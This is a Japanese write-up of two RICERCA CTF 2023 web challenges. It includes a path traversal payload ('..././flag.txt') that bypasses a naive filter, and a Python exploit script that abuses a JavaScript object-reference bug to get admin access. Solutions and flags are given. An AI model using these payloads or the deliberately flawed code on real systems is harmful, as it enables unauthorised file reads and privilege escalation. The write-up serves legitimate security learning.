[RICERCA CTF 2023] My own writeup
RICERCA CTF 2023が2023/04/22 10:00 - 2023/04/22 22:00 (UTC+9)で開催されました。
[web] Cat Café
猫がかわいいですね。
app.py
は以下です。
import flask
import os
app = flask.Flask(__name__)
@app.route('/')
def index():
return flask.render_template('index.html')
@app.route('/img')
def serve_image():
filename = flask.request.args.get("f", "").replace("../", "")
path = f'images/{filename}'
if not os.path.isfile(path):
return flask.abort(404)
return flask.send_file(path)
if __name__ == '__main__':
app.run()
/img
に該当する部分をみると、[URL]/img?f=01.jpg
のようにクエリパラメータを介してimages
ディレクトリ内のファイルを取得できることがわかります。
@app.route('/img')
def serve_image():
filename = flask.request.args.get("f", "").replace("../", "")
path = f'images/{filename}'
if not os.path.isfile(path):
return flask.abort(404)
return flask.send_file(path)
flagが書かれたflag.txt
はimages
ディレクトリの一つ上の階層にあるため、[URL]/img?f=../flag.txt
のようにしてflagが取得することを考えますが、以下の部分で../
が空文字に置き換えられるため不可能です。
filename = flask.request.args.get("f", "").replace("../", "")
しかし、[URL]/img?f=..././flag.txt
のようにすると..././
が../
に置き換えられるため、flagを取得できます。
$ curl "http://cat-cafe.2023.ricercactf.com:8000/img?f=..././flag.txt"
RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}
[web] tinyDB
自身の役職を確認する用のページとflagを取得する用のページがあります。
index.ts
は以下です。
import fastify from "fastify";
import { fastifySession } from "@fastify/session";
import fastifyCookie from "@fastify/cookie";
import * as fs from "fs";
import { getUserDB, randStr, getAdminPW, updateAdminPW } from "./db";
import flag from "./flag";
const server = fastify();
server.register(fastifyCookie);
server.register(fastifySession, {
secret: randStr(),
cookie: { secure: false },
});
server.get("/", async (_, response) => {
const html = await fs.promises.readFile("./src/index.html", "utf-8");
response.type("text/html").send(html);
});
server.get("/admin", async (_, response) => {
const html = await fs.promises.readFile("./src/admin.html", "utf-8");
response.type("text/html").send(html);
});
type UserBodyT = Partial<AuthT>;
server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => {
const { username, password } = request.body;
const session = request.session.sessionId;
const userDB = getUserDB(session);
let auth = {
username: username ?? "admin",
password: password ?? randStr(),
};
if (!userDB.has(auth)) {
userDB.set(auth, "guest");
}
if (userDB.size > 10) {
// Too many users, clear the database
userDB.clear();
auth.username = "admin";
auth.password = getAdminPW();
userDB.set(auth, "admin");
auth.password = "*".repeat(auth.password.length);
}
const rollback = () => {
const grade = userDB.get(auth);
updateAdminPW();
const newAdminAuth = {
username: "admin",
password: getAdminPW(),
};
userDB.delete(auth);
userDB.set(newAdminAuth, grade ?? "guest");
};
setTimeout(() => {
// Admin password will be changed due to hacking detected :(
if (auth.username === "admin" && auth.password !== getAdminPW()) {
rollback();
}
}, 2000 + 3000 * Math.random()); // no timing attack!
const res = {
authId: auth.username,
authPW: auth.password,
grade: userDB.get(auth),
};
response.type("application/json").send(res);
});
server.post<{ Body: AuthT }>("/get_flag", async (request, response) => {
const { username, password } = request.body;
const session = request.session.sessionId;
const userDB = getUserDB(session);
for (const [auth, grade] of userDB.entries()) {
if (
auth.username === username &&
auth.password === password &&
grade === "admin"
) {
response
.type("application/json")
.send({ flag: `great! here is your flag: ${flag}` });
return;
}
}
response.type("application/json").send({ flag: "no flag for you :)" });
});
server.listen({ host: "0.0.0.0", port: 8888 }, (_, address) => {
console.log(`Server listening at ${address}`);
});
/set_user
で行われる処理は以下です。
username
とpassword
を受け取り、セッションごとにユーザー情報を保存する。- ユーザーの件数が10件を超えると、データベースをクリアし、
admin
のパスワードを更新する。 admin
のパスワードが正しくない場合は2〜5秒後にrollback()
が実行される。rollback()
では、admin
のパスワードが更新される。
/get_flag
で行われる処理は以下です。
- セッションに紐づいて保存されているユーザー情報を全て取得。
- 入力の
username
とpassword
が合致し、grade
がadmin
のものがあればflagが得られる。
ここで、/set_user
のadmin
のパスワードを更新する処理に脆弱性があります。
if (userDB.size > 10) {
// Too many users, clear the database
userDB.clear();
auth.username = "admin";
auth.password = getAdminPW();
userDB.set(auth, "admin");
auth.password = "*".repeat(auth.password.length);
}
ここでは、auth.password
にgetAdminPW()
で取得したパスワードを代入し、mapであるuserDB
にセットします。その後、パスワードの長さ分の*
をauth.password
に代入する。しかし、javascriptの性質により、userDB
にセットされたauth
オブジェクトと、その後のauth
オブジェクトは同じオブジェクトへの参照を保持します(参考)。
そのため、auth.password = "*".repeat(auth.password.length);
とした時に、userDB
に保存されているauth
オブジェクトのauth.password
も"*".repeat(auth.password.length)
に書き換えられます。
admin
のパスワードが異なる場合に、パスワードを更新するrollback()
は2~5秒後に実行されます。そのため、rollback()
が実行されるまでにusername
をadmin
、password
を"*".repeat(auth.password.length)
として/get_flag
を叩くことでflagを取得することができます。
以下のスクリプトを実行することでflagが取得できます。
import requests
base_url = 'http://tinydb.2023.ricercactf.com:8888'
ses = requests.Session()
data = {
"username": "hoge",
"password": "huga"
}
for i in range(10):
print("count:", i+1)
response = ses.post(f'{base_url}/set_user', json=data)
print("response text:", response.json())
data = {
"username": "admin",
"password": response.json()["authPW"] # ********************************
}
response = ses.post(f'{base_url}/get_flag', json=data)
print("/get_flag")
print("response text:", response.json())
$ python3 solver.py
count: 1
response text: {'authId': 'hoge', 'authPW': 'huga', 'grade': 'guest'}
...
count: 9
response text: {'authId': 'hoge', 'authPW': 'huga', 'grade': 'guest'}
count: 10
response text: {'authId': 'admin', 'authPW': '********************************', 'grade': 'admin'}
/get_flag
response text: {'flag': 'great! here is your flag: RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}'}